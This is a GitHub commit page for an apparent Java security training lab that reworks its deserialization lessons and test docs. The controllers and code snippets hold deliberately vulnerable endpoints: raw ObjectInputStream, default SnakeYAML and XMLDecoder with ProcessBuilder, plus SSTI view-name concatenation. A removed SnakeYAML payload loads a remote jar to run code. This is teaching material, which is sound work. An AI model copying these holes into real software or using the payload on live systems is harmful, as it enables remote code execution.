Skip to content

Commit 44e771b

Browse files
committed
Optimize deserialization scenarios
1 parent 69e0930 commit 44e771b

8 files changed

Lines changed: 195 additions & 106 deletions

File tree

docs/instructions.md

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -928,3 +928,53 @@ SpEL 注入的本质是不可信输入进入表达式“可执行上下文”后
928928
| 阻断类型引用 | `GET /spel/safe?ex=T(java.lang.Math).abs(-1)` | Java 类型引用 | 返回“表达式被安全上下文限制”,说明类型引用被禁止 |
929929
| 阻断命令执行 | `GET /spel/safe?ex=T(java.lang.Runtime).getRuntime().exec('true')` | 命令执行表达式 | 返回“表达式被安全上下文限制”,不执行系统命令 |
930930
| 安全场景错误处理 | `GET /spel/safe?ex=T(java.lang.Runtime).getRuntime().exec(` | 语法错误表达式 | 返回“表达式被安全上下文限制”或解析错误信息 |
931+
## 反序列化
932+
933+
当前覆盖 Java 原生 `ObjectInputStream.readObject()`、SnakeYAML `Yaml.load()`、XMLDecoder `readObject()` 三类 Java 反序列化入口。模块重点演示“不可信数据恢复为对象”时,攻击者如何通过对象图、类型标签、构造器、setter、`readObject` 或组件 gadget 链,把普通数据解析入口升级为代码执行、类加载、文件操作或拒绝服务风险。
934+
935+
反序列化漏洞的本质是不可信输入进入对象构造和方法调用上下文。修复时优先避免使用 Java 原生序列化协议接收外部输入;确需解析时应采用 JSON/XML/YAML 普通数据绑定到固定 DTO,禁用任意类型解析,使用类型白名单、JEP 290 `ObjectInputFilter``SafeConstructor`、依赖升级、外部实体禁用、大小限制和隔离执行。单纯黑名单或关闭某个 gadget 开关只能降低特定利用链风险,不能视为完整修复。
936+
937+
已覆盖类型
938+
939+
| 分类 | 已有场景 | 结论 |
940+
| --- | --- | --- |
941+
| JDK 原生反序列化 | `/readObject/vul``/readObject/safe1``/readObject/safe2` | 覆盖 ObjectInputStream 直接读取不可信字节流、gadget 开关和类型白名单对照 |
942+
| SnakeYAML | `/snakeYaml/vul``/snakeYaml/safe` | 覆盖默认 Constructor 按 `!!类名` 实例化对象,以及 SafeConstructor 只解析基础类型 |
943+
| XMLDecoder | `/xmlDecoder/vul``/xmlDecoder/safe` | 覆盖 XMLDecoder 对象图执行方法调用,以及使用普通 XML 解析器替代危险对象反序列化 |
944+
945+
模块覆盖符合综合性 Java 靶场定位,已经覆盖“原生协议 + 数据格式解析器 + JDK 对象图执行器”三条主线。后续如需增强,可补充“Hessian/Kryo/FST 二进制反序列化”“JNDI/RMI/LDAP 链路”“JEP 290 ObjectInputFilter 专项绕过与正确配置”“Jackson/Fastjson/XStream 与组件漏洞模块联动”“反序列化 DoS/深层对象图限制”等场景。当前 Fastjson、Jackson、XStream 已放在组件漏洞模块,保留在那里更清晰,避免和本模块重复。
946+
947+
### ReadObject 测试
948+
949+
页面:`/readObject`
950+
951+
| 场景 | 请求 | 测试输入 | 预期结果 |
952+
| --- | --- | --- | --- |
953+
| 页面访问 | `GET /readObject` | 已登录会话 | 页面正常打开,展示原生反序列化、gadget 开关和白名单安全场景 |
954+
| 空 Payload | `POST /readObject/vul` | 不传 `payload` | 返回“Payload不能为空”或 Payload 错误提示,页面不出现 500 |
955+
| 良性对象反序列化 | `POST /readObject/vul` | `payload=rO0ABXQACkphdmFTZWNMYWI=` | 返回 `JavaSecLab`,说明服务端执行了 `ObjectInputStream.readObject()` |
956+
| Commons Collections 开关 | `POST /readObject/safe1` | 使用页面示例 payload | 返回执行失败或禁用提示,说明特定 gadget 链被限制;该方式不是完整防护 |
957+
| 类型白名单 | `POST /readObject/safe2` | 使用页面示例 gadget payload | 返回反序列化失败,说明非白名单类被拒绝;`String` 等协议原生类型可能正常通过,应结合 JEP 290 进一步限制 |
958+
959+
### SnakeYAML 测试
960+
961+
页面:`/snakeYaml`
962+
963+
| 场景 | 请求 | 测试输入 | 预期结果 |
964+
| --- | --- | --- | --- |
965+
| 页面访问 | `GET /snakeYaml` | 已登录会话 | 页面正常打开,展示默认 Constructor 和 SafeConstructor 对照 |
966+
| 默认类型实例化 | `POST /snakeYaml/vul` | `payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}` | 返回解析结果中包含 `Sqli` 对象信息,说明 `!!类名` 被实例化 |
967+
| 普通 YAML 安全解析 | `POST /snakeYaml/safe` | `payload=name: JavaSecLab` | 返回普通 Map 解析结果 |
968+
| 阻断 Java 类型标签 | `POST /snakeYaml/safe` | `payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}` | 返回反序列化失败,说明 SafeConstructor 不允许任意 Java 类型构造 |
969+
970+
### XMLDecoder 测试
971+
972+
页面:`/xmlDecoder`
973+
974+
| 场景 | 请求 | 测试输入 | 预期结果 |
975+
| --- | --- | --- | --- |
976+
| 页面访问 | `GET /xmlDecoder` | 已登录会话 | 页面正常打开,展示 XMLDecoder 对象图执行和普通 XML 解析器对照 |
977+
| 空 Payload | `POST /xmlDecoder/vul` | 不传 `payload` | 返回“Payload不能为空” |
978+
| XMLDecoder 命令执行链路 | `POST /xmlDecoder/vul` | `payload=true` | 返回“命令执行成功”,说明 XMLDecoder 构造并启动了 ProcessBuilder |
979+
| 普通 XML 解析器对照 | `POST /xmlDecoder/safe` | `payload=true` | 返回“命令解析成功:true”,只解析文本参数,不调用 ProcessBuilder.start() |
980+
| 安全场景空 Payload | `POST /xmlDecoder/safe` | 不传 `payload` | 返回“Payload不能为空”,页面不出现 500 |

src/main/java/top/whgojp/modules/deserialize/readobject/controller/ReadObjectController.java

Lines changed: 27 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -8,11 +8,9 @@
88
import org.springframework.web.bind.annotation.*;
99
import top.whgojp.common.utils.R;
1010
import top.whgojp.modules.sqli.entity.Sqli;
11-
import java.io.ByteArrayInputStream;
12-
import java.io.ObjectInputStream;
13-
1411

1512
import java.io.ByteArrayInputStream;
13+
import java.io.ObjectInputStream;
1614
import java.util.Base64;
1715

1816
/**
@@ -56,15 +54,12 @@ public R vul(String payload) {
5654
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
5755
log.info("Java反序列化:" + payload);
5856
try {
59-
payload = payload.replace(" ", "+");
60-
byte[] bytes = Base64.getDecoder().decode(payload);
61-
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
62-
ObjectInputStream in = new ObjectInputStream(stream);
63-
64-
Object obj = in.readObject();
57+
byte[] bytes = decodePayload(payload);
58+
Object obj;
59+
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
60+
obj = in.readObject();
61+
}
6562
log.info("反序列化对象:" + obj.toString());
66-
67-
in.close();
6863
return R.ok("[+]Java反序列化:"+obj);
6964
} catch (Exception e) {
7065
return R.error("[-] 请输入正确的 Payload!\n" + e.getMessage());
@@ -80,13 +75,11 @@ public R safe1(String payload) {
8075
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false");
8176
log.info("Java反序列化:"+payload);
8277
try {
83-
payload = payload.replace(" ", "+");
84-
byte[] bytes = Base64.getDecoder().decode(payload);
85-
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
86-
java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);
87-
in.readObject();
88-
in.close();
89-
return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
78+
byte[] bytes = decodePayload(payload);
79+
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
80+
in.readObject();
81+
}
82+
return R.ok("[+]Java反序列化:禁用Commons Collections不安全反序列化开关");
9083
} catch (Exception e) {
9184
return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
9285
}
@@ -96,23 +89,29 @@ public R safe1(String payload) {
9689
public R safe2(String payload) {
9790
log.info("Java反序列化:"+payload);
9891
try {
99-
payload = payload.replace(" ", "+");
100-
byte[] bytes = Base64.getDecoder().decode(payload);
101-
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
92+
byte[] bytes = decodePayload(payload);
10293
// 创建 ValidatingObjectInputStream 对象
103-
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);
104-
// 设置拒绝反序列化的类
105-
ois.reject(java.lang.Runtime.class);
106-
ois.reject(java.lang.ProcessBuilder.class);
107-
// 只允许反序列化Sqli类
108-
ois.accept(Sqli.class);
109-
ois.readObject();
94+
try (ValidatingObjectInputStream ois = new ValidatingObjectInputStream(new ByteArrayInputStream(bytes))) {
95+
// 设置拒绝反序列化的类
96+
ois.reject(java.lang.Runtime.class);
97+
ois.reject(java.lang.ProcessBuilder.class);
98+
// 只允许反序列化Sqli类
99+
ois.accept(Sqli.class);
100+
ois.readObject();
101+
}
110102
return R.ok("[+]Java反序列化:ObjectInputStream.readObject()");
111103
} catch (Exception e) {
112104
return R.error("[-]请输入正确的Payload!\n"+e.getMessage());
113105
}
114106
}
115107

108+
private byte[] decodePayload(String payload) {
109+
if (payload == null || payload.trim().isEmpty()) {
110+
throw new IllegalArgumentException("Payload不能为空");
111+
}
112+
return Base64.getDecoder().decode(payload.replace(" ", "+"));
113+
}
114+
116115
/**
117116
* 反序列测试
118117
* @param args

src/main/java/top/whgojp/modules/deserialize/snakeyaml/controller/controller/SnakeYamlController.java

Lines changed: 18 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -32,21 +32,30 @@ public String snakeYaml(){
3232
@RequestMapping("/vul")
3333
@ResponseBody
3434
public R vul(String payload) {
35-
log.info("payload:"+payload);
36-
Yaml y = new Yaml();
37-
y.load(payload);
38-
return R.ok("[+]Java反序列化:SnakeYaml原生漏洞");
35+
try {
36+
log.info("payload:" + payload);
37+
if (payload == null || payload.trim().isEmpty()) {
38+
return R.error("Payload不能为空");
39+
}
40+
Yaml y = new Yaml();
41+
Object result = y.load(payload);
42+
return R.ok("[+]Java反序列化:SnakeYaml原生漏洞,解析结果:" + result);
43+
} catch (Exception e) {
44+
log.error("SnakeYaml反序列化失败", e);
45+
return R.error("[-]Java反序列化:SnakeYaml反序列化失败:" + e.getMessage());
46+
}
3947
}
4048

41-
@PostMapping("/safe")
49+
@RequestMapping("/safe")
4250
@ResponseBody
43-
public R safe(String payload) {
51+
public R safe(@RequestParam(required = false, defaultValue = "name: JavaSecLab") String payload) {
4452
try {
4553
Yaml y = new Yaml(new SafeConstructor());
46-
y.load(payload);
47-
return R.ok("[+]Java反序列化:SnakeYaml安全构造");
54+
Object result = y.load(payload);
55+
return R.ok("[+]Java反序列化:SnakeYaml安全构造,解析结果:" + result);
4856
} catch (Exception e) {
49-
return R.error("[-]Java反序列化:SnakeYaml反序列化失败");
57+
log.error("SnakeYaml安全解析失败", e);
58+
return R.error("[-]Java反序列化:SnakeYaml反序列化失败:" + e.getMessage());
5059
}
5160
}
5261

src/main/java/top/whgojp/modules/deserialize/xmldecoder/controller/XMLDecoderController.java

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,10 @@ public String xmlDecoder() {
3737

3838
@RequestMapping("/vul")
3939
@ResponseBody
40-
public R vul(String payload) {
40+
public R vul(@RequestParam(required = false) String payload) {
41+
if (payload == null || payload.trim().isEmpty()) {
42+
return R.error("Payload不能为空");
43+
}
4144
String[] strCmd = payload.split(" ");
4245
StringBuilder xml = new StringBuilder()
4346
.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>")
@@ -61,7 +64,10 @@ public R vul(String payload) {
6164

6265
@RequestMapping("/safe")
6366
@ResponseBody
64-
public R safe(@RequestParam String payload) {
67+
public R safe(@RequestParam(required = false) String payload) {
68+
if (payload == null || payload.trim().isEmpty()) {
69+
return R.error("Payload不能为空");
70+
}
6571
try {
6672
// 构建 XML 字符串
6773
StringBuilder xml = new StringBuilder()

src/main/resources/static/js/staticcode.js

Lines changed: 40 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -2409,15 +2409,17 @@ const spelSafe = "public R safe(String ex) {\n" +
24092409
"}\n"
24102410

24112411
const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n" +
2412-
" // 用户输入直接拼接到模板路径,可能导致SSTI(服务器端模板注入)漏洞\n" +
2412+
" // 用户输入直接拼接到模板路径,Thymeleaf 会对视图名中的 __${...}__ 做预处理\n" +
24132413
" return \"vul/ssti/\" + para;\n" +
24142414
"}\n" +
24152415
"\n" +
2416-
"public void vul2(@PathVariable String path) {\n" +
2416+
"public String vul2(@PathVariable String path) {\n" +
2417+
" // URL 路径变量直接拼接到模板路径,同样会触发 Thymeleaf 视图名预处理\n" +
24172418
" log.info(\"SSTI注入:\"+path);\n" +
2419+
" return \"vul/ssti/\" + path;\n" +
24182420
"}\n" +
24192421
"\n" +
2420-
"\t// 缺陷组件版本参考\n" +
2422+
"// 缺陷组件版本参考\n" +
24212423
"<parent>\n" +
24222424
" <groupId>org.springframework.boot</groupId>\n" +
24232425
" <artifactId>spring-boot-starter-parent</artifactId>\n" +
@@ -2434,57 +2436,54 @@ const sstiVul = "public String vul1(@RequestParam String para, Model model) {\n"
24342436
const sstiSafe = "public String safe1(String para, Model model) {\n" +
24352437
" List<String> white_list = new ArrayList<>(Arrays.asList(\"vul\", \"ssti\"));\n" +
24362438
" if (white_list.contains(para)){\n" +
2437-
" return \"vul/ssti\" + para;\n" +
2439+
" return \"vul/ssti/\" + para;\n" +
24382440
" } else{\n" +
24392441
" return \"common/401\";\n" +
24402442
" }\n" +
24412443
"}\n" +
24422444
"@GetMapping(\"/safe2/{path}\")\n" +
2443-
"public void safe2(@PathVariable String path, HttpServletResponse response) {\n" +
2445+
"public void safe2(@PathVariable String path, HttpServletResponse response) throws IOException {\n" +
24442446
" log.info(\"SSTI注入:\"+path);\n" +
2447+
" response.setContentType(\"text/plain;charset=UTF-8\");\n" +
2448+
" response.getWriter().write(\"已跳过视图解析,输入路径:\" + path);\n" +
24452449
"}"
24462450

24472451
const vulReadObject = "public R vul(String payload) {\n" +
24482452
" try {\n" +
2449-
" payload = payload.replace(\" \", \"+\");\n" +
2450-
" byte[] bytes = Base64.getDecoder().decode(payload);\n" +
2451-
" ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
2452-
" java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);\n" +
2453-
" in.readObject();\n" +
2454-
" in.close();\n" +
2455-
" return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
2453+
" byte[] bytes = decodePayload(payload);\n" +
2454+
" Object obj;\n" +
2455+
" try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
2456+
" obj = in.readObject();\n" +
2457+
" }\n" +
2458+
" return R.ok(\"[+]Java反序列化:\" + obj);\n" +
24562459
" } catch (Exception e) {\n" +
24572460
" return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
24582461
" }\n" +
2459-
"}"
2462+
"}"
24602463
const safeReadObject1 = "public R safe1(String payload) {\n" +
2461-
" // 安全措施:禁用不安全的反序列化\n" +
2464+
" // 禁用 Commons Collections 不安全反序列化开关\n" +
24622465
" System.setProperty(\"org.apache.commons.collections.enableUnsafeSerialization\", \"false\");\n" +
24632466
" try {\n" +
2464-
" payload = payload.replace(\" \", \"+\");\n" +
2465-
" byte[] bytes = Base64.getDecoder().decode(payload);\n" +
2466-
" ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
2467-
" java.io.ObjectInputStream in = new java.io.ObjectInputStream(stream);\n" +
2468-
" in.readObject();\n" +
2469-
" in.close();\n" +
2470-
" return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
2467+
" byte[] bytes = decodePayload(payload);\n" +
2468+
" try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
2469+
" in.readObject();\n" +
2470+
" }\n" +
2471+
" return R.ok(\"[+]Java反序列化:禁用Commons Collections不安全反序列化开关\");\n" +
24712472
" } catch (Exception e) {\n" +
24722473
" return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
24732474
" }\n" +
24742475
"}"
24752476
const safeReadObject2 = "public R safe2(String payload) {\n" +
24762477
" try {\n" +
2477-
" payload = payload.replace(\" \", \"+\");\n" +
2478-
" byte[] bytes = Base64.getDecoder().decode(payload);\n" +
2479-
" ByteArrayInputStream stream = new ByteArrayInputStream(bytes);\n" +
2478+
" byte[] bytes = decodePayload(payload);\n" +
24802479
" // 创建 ValidatingObjectInputStream 对象\n" +
2481-
" ValidatingObjectInputStream ois = new ValidatingObjectInputStream(stream);\n" +
2482-
" // 设置拒绝反序列化的类\n" +
2483-
" ois.reject(java.lang.Runtime.class);\n" +
2484-
" ois.reject(java.lang.ProcessBuilder.class);\n" +
2485-
" // 只允许反序列化Sqli类\n" +
2486-
" ois.accept(Sqli.class);\n" +
2487-
" ois.readObject();\n" +
2480+
" try (ValidatingObjectInputStream ois = new ValidatingObjectInputStream(new ByteArrayInputStream(bytes))) {\n" +
2481+
" ois.reject(java.lang.Runtime.class);\n" +
2482+
" ois.reject(java.lang.ProcessBuilder.class);\n" +
2483+
" // 只允许反序列化Sqli类\n" +
2484+
" ois.accept(Sqli.class);\n" +
2485+
" ois.readObject();\n" +
2486+
" }\n" +
24882487
" return R.ok(\"[+]Java反序列化:ObjectInputStream.readObject()\");\n" +
24892488
" } catch (Exception e) {\n" +
24902489
" return R.error(\"[-]请输入正确的Payload!\\n\"+e.getMessage());\n" +
@@ -2493,22 +2492,25 @@ const safeReadObject2 = "public R safe2(String payload) {\n" +
24932492
const safeReadObject3 = "safeReadObject3"
24942493

24952494
const vulSnakeYaml = "public R vul(String payload) {\n" +
2495+
" if (payload == null || payload.trim().isEmpty()) {\n" +
2496+
" return R.error(\"Payload不能为空\");\n" +
2497+
" }\n" +
24962498
" Yaml y = new Yaml();\n" +
2497-
" y.load(payload);\n" +
2498-
" return R.ok(\"[+]Java反序列化:SnakeYaml\");\n" +
2499+
" Object result = y.load(payload);\n" +
2500+
" return R.ok(\"[+]Java反序列化:SnakeYaml原生漏洞,解析结果:\" + result);\n" +
24992501
"}\n" +
25002502
"\n" +
25012503
"// payload示例\n" +
2502-
"payload=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:7777/yaml-payload.jar']]]]\n"
2504+
"payload=!!top.whgojp.modules.sqli.entity.Sqli {id: 1, username: test, password: pass}\n"
25032505
const safeSnakeYaml = "public R safe(String payload) {\n" +
25042506
" try {\n" +
25052507
" Yaml y = new Yaml(new SafeConstructor());\n" +
2506-
" y.load(payload);\n" +
2507-
" return R.ok(\"[+]Java反序列化:SnakeYaml安全构造\");\n" +
2508+
" Object result = y.load(payload);\n" +
2509+
" return R.ok(\"[+]Java反序列化:SnakeYaml安全构造,解析结果:\" + result);\n" +
25082510
" } catch (Exception e) {\n" +
2509-
" return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败\");\n" +
2511+
" return R.error(\"[-]Java反序列化:SnakeYaml反序列化失败:\" + e.getMessage());\n" +
25102512
" }\n" +
2511-
"}"
2513+
"}"
25122514

25132515
const vulXmlDecoder = 'public R vul(String payload) {\n' +
25142516
' String[] strCmd = payload.split(" ");\n' +

0 commit comments

Comments
 (0)